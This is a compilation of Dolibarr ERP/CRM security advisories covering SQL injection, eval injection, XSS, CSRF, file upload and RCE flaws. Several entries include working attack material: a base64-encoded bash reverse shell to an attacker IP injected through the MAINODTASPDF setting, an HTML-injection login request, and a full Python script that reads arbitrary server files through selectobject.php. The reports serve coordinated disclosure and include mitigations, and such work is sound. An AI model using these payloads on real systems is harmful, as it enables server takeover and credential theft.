The htdocs/index.php?mainmenu=home login page in Dolibarr 10.0.6 allows an unlimited rate of failed authentication attempts.

dolibarr is vulnerable to Improper Neutralization of Special Elements used in an SQL Command

SQL injection attacks can result in unauthorized access to sensitive data, such as passwords, credit card details, or personal user information. Many high-profile data breaches in recent years have been the result of SQL injection attacks, leading to reputational damage and regulatory fines. In some cases, an attacker can obtain a persistent backdoor into an organization's systems, leading to a long-term compromise that can go unnoticed for an extended period. This affect 16.0.1 and 16.0.2 only. 16.0.0 or lower, and 16.0.3 or higher are not affected

Dolibarr Open Source ERP & CRM for Business before v14.0.1 allows attackers to escalate privileges via a crafted API.

Dolibarr ERP & CRM <=15.0.3 are vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

Cross Site Scripting vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to obtain sensitive information and execute arbitrary code via the REST API module, related to analyseVarsForSqlAndScriptsInjection and testSqlAndScriptInject.

Summary An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the MAINODTASPDF configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the exec() function in the ODT to PDF conversion process.

Details The vulnerability is located in htdocs/includes/odtphp/odf.php. When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the MAINODTASPDF global setting.

Code snippet (htdocs/includes/odtphp/odf.php, approx line 930): php $command = getDolGlobalString('MAINODTASPDF').' '.escapeshellcmd($name); // ... exec($command, $outputarr, $retval);

While the filename $name is sanitized using escapeshellcmd(), the configuration variable MAINODTASPDF is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like ;) followed by arbitrary commands.

PoC Prerequisites: 1. Login as an Administrator. 2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.

Steps to reproduce (Reverse Shell):

1. Start a netcat listener on the attacker's machine (IP: 172.26.0.1, Port: 4445): bash nc -lvnp 4445

2. Prepare the payload. To avoid issues with special characters (like & or >) being escaped by the web application or shell, encode the reverse shell command in Base64: bash # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1' echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64 # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK

3. Navigate to Home -> Setup -> Other Setup.

4. Add or modify the constant MAINODTASPDF with the following injection payload: bash jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash (Explanation: jodconverter satisfies the initial check, ; acts as a command separator, and the pipeline decodes and executes the Base64 payload). <img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />

5. Navigate to Commerce -> New proposal, create a draft, select an ODT template (e.g., genericproposalodt), and click Generate. <img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" /> <img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" /> <img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />

6. Check the netcat listener. A connection will be established, granting a shell on the server: <img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />

Impact Remote Code Execution (RCE). An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically www-data). This allows for: - Reading sensitive configuration files (database credentials). - Modifying application code. - Full system compromise depending on server configuration (e.g., docker escape, pivoting).

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Credits Reported by Łukasz Rybak

Dolibarr ERP CRM 7.0.3 contains a remote code evaluation vulnerability that allows unauthenticated attackers to execute arbitrary code by injecting PHP code through the dbname parameter. Attackers can send a POST request to install/step1.php with malicious PHP code in the dbname parameter, then execute commands via the check.php endpoint using the cmd GET parameter.

Vulnerabilities in Dolibarr ERP - CRM that affect version 9.0.1 and allow SQL injection. These vulnerabilities could allow a remote attacker to send a specially crafted SQL query to the system and retrieve all the information stored in the database through the parameters sortorder y sortfield in /dolibarr/admin/dict.php.

Vulnerabilities in Dolibarr ERP - CRM that affect version 9.0.1 and allow SQL injection. These vulnerabilities could allow a remote attacker to send a specially crafted SQL query to the system and retrieve all the information stored in the database through the parameters

viewstatut in /dolibarr/commande/list.php.

Lack of sanitization during Installation Process in Dolibarr ERP CRM up to version 19.0.0 allows an attacker with adjacent access to the network to execute arbitrary code via a specifically crafted input.

An arbitrary file upload vulnerability in the Upload Template function of Dolibarr ERP CRM up to v19.0.1 allows attackers to execute arbitrary code via uploading a crafted .SQL file.

Dolibarr ERP & CRM v21.0.1 were discovered to contain a remote code execution (RCE) vulnerability in the User module configuration via the computed field parameter.

Dolibarr ERP/CRM 10.0.1 contains an SQL injection vulnerability in the elemid POST parameter of the viewcat.php endpoint that allows unauthenticated attackers to execute arbitrary SQL queries. Attackers can submit crafted POST requests with malicious SQL payloads in the elemid parameter to extract sensitive database information using error-based or time-based blind SQL injection techniques.

Dolibarr ERP-CRM 8.0.4 contains an SQL injection vulnerability in the rowid parameter of the admin dict.php endpoint that allows attackers to execute arbitrary SQL queries. Attackers can inject malicious SQL code through the rowid POST parameter to extract sensitive database information using error-based SQL injection techniques.

In Dolibarr ERP & CRM <= 22.0.4, PHP code detection and editing permission enforcement in the Website module is not applied consistently to all input parameters, allowing an authenticated user restricted to HTML/JavaScript editing to inject PHP code through unprotected inputs during website page creation.

In the Website module of Dolibarr ERP & CRM 22.0.4 and below, the application uses blacklist-based filtering to restrict dangerous PHP functions related to system command execution. An authenticated user with permission to edit PHP content can bypass this filtering, resulting in full remote code execution with the ability to execute arbitrary operating system commands on the server.

File Upload vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to execute arbitrary code and obtain sensitive information via the extension filtering and renaming functions.

In Dolibarr 10.0.6, forms are protected with a Cross-Site Request Forgery (CSRF) token against CSRF attacks. The problem is any CSRF token in any user's session can be used in another user's session. CSRF tokens should not be valid in this situation.

Code Injection in GitHub repository dolibarr/dolibarr prior to 15.0.1.

Dolibarr ERP/CRM versions prior to 23.0.2 contain an authenticated remote code execution vulnerability in the dolevalstandard() function that fails to apply forbidden string checks in whitelist mode and does not detect PHP dynamic callable syntax. Attackers with administrator privileges can inject malicious payloads through computed extrafields or other evaluation paths using PHP dynamic callable syntax to bypass validation and achieve arbitrary command execution via eval().

Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. Versions 22.0.2 and earlier contains an authenticated remote code execution vulnerability in the user extrafields functionality. User-controlled input from the "computed value" field is passed to PHP's eval() function without adequate sanitization, allowing authenticated administrators to execute arbitrary PHP code on the server. As of time of publication, no patched versions are available.

Dolibarr ERP-CRM 14.0.2 contains a stored cross-site scripting vulnerability in the ticket creation module that allows low-privilege users to inject malicious scripts. Attackers can craft a specially designed ticket message with embedded JavaScript that triggers when an administrator copies the text, potentially enabling privilege escalation.

Dolibarr ERP/CRM 10.0.1 contains multiple SQL injection vulnerabilities that allow authenticated attackers to manipulate database queries by injecting SQL code through POST parameters. Attackers can inject malicious SQL through parameters like actioncode, demandreasonid, and availabilityid in card.php endpoints to extract sensitive database information using boolean-based blind, error-based, and time-based blind techniques.

Multiple SQL injection vulnerabilities in Dolibarr CMS 3.2.0 Alpha and earlier allow remote authenticated users to execute arbitrary SQL commands via the (1) memberslist parameter (aka Member List) in list.php or (2) rowid parameter to adherents/fiche.php.

An issue in Dolibarr 16 before 16.0.5 allows unauthenticated attackers to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists.

An issue in Dolibarr ERP CRM v.17.0.1 and before allows a remote privileged attacker to execute arbitrary code via a crafted command/script.

In “Dolibarr” application, v3.3.beta120121221 to v13.0.2 have “Modify” access for admin level users to change other user’s details but fails to validate already existing “Login” name, while renaming the user “Login”. This leads to complete account takeover of the victim user. This happens since the password gets overwritten for the victim user having a similar login name.

Summary Observed a HTML Injection vulnerbaility in the Home page of Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS).

Details 1. Navigate to the login page of Dolibarr application. 2. Submit a login request with the following payload in an arbitrarily supplied body parameter: "u70ea%22%3e%3c!--HTMLInjectionBySai"=1

HTTP Post Request: POST /dolibarr/index.php?mainmenu=home HTTP/1.1 Host: 192.168.37.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.37.129/dolibarr/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 375 Origin: http://192.168.37.129 Connection: close Cookie: <Redacted> Upgrade-Insecure-Requests: 1

token=697c1f303ef1976a713eda01d20d8eab&actionlogin=login&loginfunction=loginfunction&backtopage=&tz=5.5&tzstring=Asia%2FKolkata&dstobserved=0&dstfirst=&dstsecond=&screenwidth=1280&screenheight=587&dolhidetopmenu=&dolhideleftmenu=&doloptimizesmallscreen=&dolnomousehover=&dolusejmobile=&username=admin&password=manikanta&u70ea%22%3e%3c!--HTMLInjectionBySai=1

3. Upon successful injection of the payload, some part of Home page HTML code was commented out.

POC Kindly go through the below video for detailed steps:

https://user-images.githubusercontent.com/26869643/294010332-ff88d80b-cb26-4870-82d3-fb49f7ecc32f.mp4

Remediation Suggestion Kindly validate and sanitize all user-supplied input, especially within HTML attributes, to prevent HTML injection attacks. Implement proper output encoding when rendering user-provided data to ensure it is treated as plain text rather than executable HTML.

Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

Target

Dolibarr Core (Tested on version 22.0.4)

Summary

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).

Vulnerability Details

The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.

- Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the objectdesc parameter into a $classpath. If fetchObjectByElement fails (e.g., by providing a fake class like A:conf/.htaccess:0), the application falls back to dolincludeonce($classpath) at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions. - Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling restrictedArea(). Because the object creation failed, the $features parameter sent to restrictedArea() is empty (''). Inside security.lib.php, if the $features parameter is empty, the access check block is completely skipped, leaving the $readok variable at 1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.

Steps to Reproduce

- Log in to the Dolibarr instance with any user account (no specific permissions required). - Intercept or manually forge a GET request to the following endpoint:

GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0

- Observe the HTTP response. The contents of the conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message. - (Optional) Run the attached Python PoC to automate the extraction:

python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess

Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

Suggested Mitigation

- Input Validation & Whitelisting: The $classpath must be strictly validated or whitelisted before being passed to dolincludeonce(). - Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified. - Enforce Fail-Secure ACLs: Modify restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.

Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

PoC Script

python #!/usr/bin/env python3 """Dolibarr selectobject.php authenticated LFI PoC"""

import argparse import html import re import urllib.error import urllib.parse import urllib.request from http.cookiejar import CookieJar

LOGINMARKERS = ("Login @", "Identifiant @") LOGOUTMARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request( opener, baseurl, method, path, params=None, data=None, timeout=15 ): url = f"{baseurl.rstrip('/')}{path}" if params: url = f"{url}?{urllib.parse.urlencode(params)}" payload = urllib.parse.urlencode(data).encode("utf-8") if data else None req = urllib.request.Request(url, method=method.upper(), data=payload) req.addheader("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr") req.addheader("Accept", "text/html,application/xhtml+xml") try: with opener.open(req, timeout=timeout) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except urllib.error.HTTPError as err: return err.code, err.read().decode("utf-8", errors="replace")

def extractlogintoken(page): for pattern in ( r'name=["\']token["\']\s+value="\'["\']', r'name=["\']anti-csrf-newtoken["\']\s+content="\'["\']', ): match = re.search(pattern, page, flags=re.IGNORECASE) if match: return match.group(1) return ""

def looksauthenticated(body): return any(marker in body for marker in LOGOUTMARKERS)

def cleanincludedoutput(body): for marker in ( "<br />\n<b>Warning", "<br />\r\n<b>Warning", "<br />\n<b>Fatal error", "<br />\r\n<b>Fatal error", ): pos = body.find(marker) if pos != -1: return body[:pos].rstrip() return body.rstrip()

def login(opener, baseurl, username, password): code, loginpage = request(opener, baseurl, "GET", "/") if code >= 400: return False, f"HTTP {code} on login page" token = extractlogintoken(loginpage) code, afterlogin = request( opener, baseurl, "POST", "/index.php?mainmenu=home", data={ "token": token, "actionlogin": "login", "loginfunction": "loginfunction", "username": username, "password": password, }, ) if code >= 400: return False, f"HTTP {code} on login request" if looksauthenticated(afterlogin): return True, "" code, home = request(opener, baseurl, "GET", "/index.php?mainmenu=home") if code < 400 and looksauthenticated(home): return True, "" return False, "Invalid username or password"

def readfile(opener, baseurl, relativepath): status, body = request( opener, baseurl, "GET", "/core/ajax/selectobject.php", params={ "outjson": "0", "htmlname": "x", "objectdesc": f"A:{relativepath}:0", }, ) if any(marker in body for marker in LOGINMARKERS) and not looksauthenticated(body): raise RuntimeError("Session expired or not authenticated") return status, body, cleanincludedoutput(body)

def parseargs(): parser = argparse.ArgumentParser( description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)." ) parser.addargument( "--url", default="http://127.0.0.1:8080", help="Dolibarr base URL (default: http://127.0.0.1:8080)", ) parser.addargument("--username", required=True, help="Dolibarr username") parser.addargument("--password", required=True, help="Dolibarr password") parser.addargument( "--file", dest="targetfile", required=True, help="Target file to read (e.g. conf/.htaccess).", ) return parser.parseargs()

def printresult(path, status, raw, clean): print(f"\n[+] HTTP status: {status}") print(f"[+] Requested file: {path}") print("=" 80) if clean: print(html.unescape(clean)) else: print("(No readable output extracted)") print("=" 80) if clean != raw.rstrip(): print("[i] PHP warnings/fatal output were trimmed from display.")

def summarizeerrorbody(body, limit=1200): text = html.unescape(body).strip() if not text: return "(Empty response body)" if len(text) > limit: return text[:limit].rstrip() + "\n... [truncated]" return text

def main(): args = parseargs() opener = urllib.request.buildopener( urllib.request.HTTPCookieProcessor(CookieJar()) ) ok, reason = login(opener, args.url, args.username, args.password) if not ok: print(f"[!] {reason}") return 1 print("[+] Login successful.") try: status, raw, clean = readfile(opener, args.url, args.targetfile) if status >= 400: print(f"[!] HTTP {status} while reading target file.") print("=" 80) print(summarizeerrorbody(raw)) print("=" 80) return 1 printresult(args.targetfile, status, raw, clean) return 0 except Exception as exc: print(f"[!] Error: {exc}") return 1

if name == "main": try: raise SystemExit(main()) except KeyboardInterrupt: print("\nInterrupted.") raise SystemExit(130)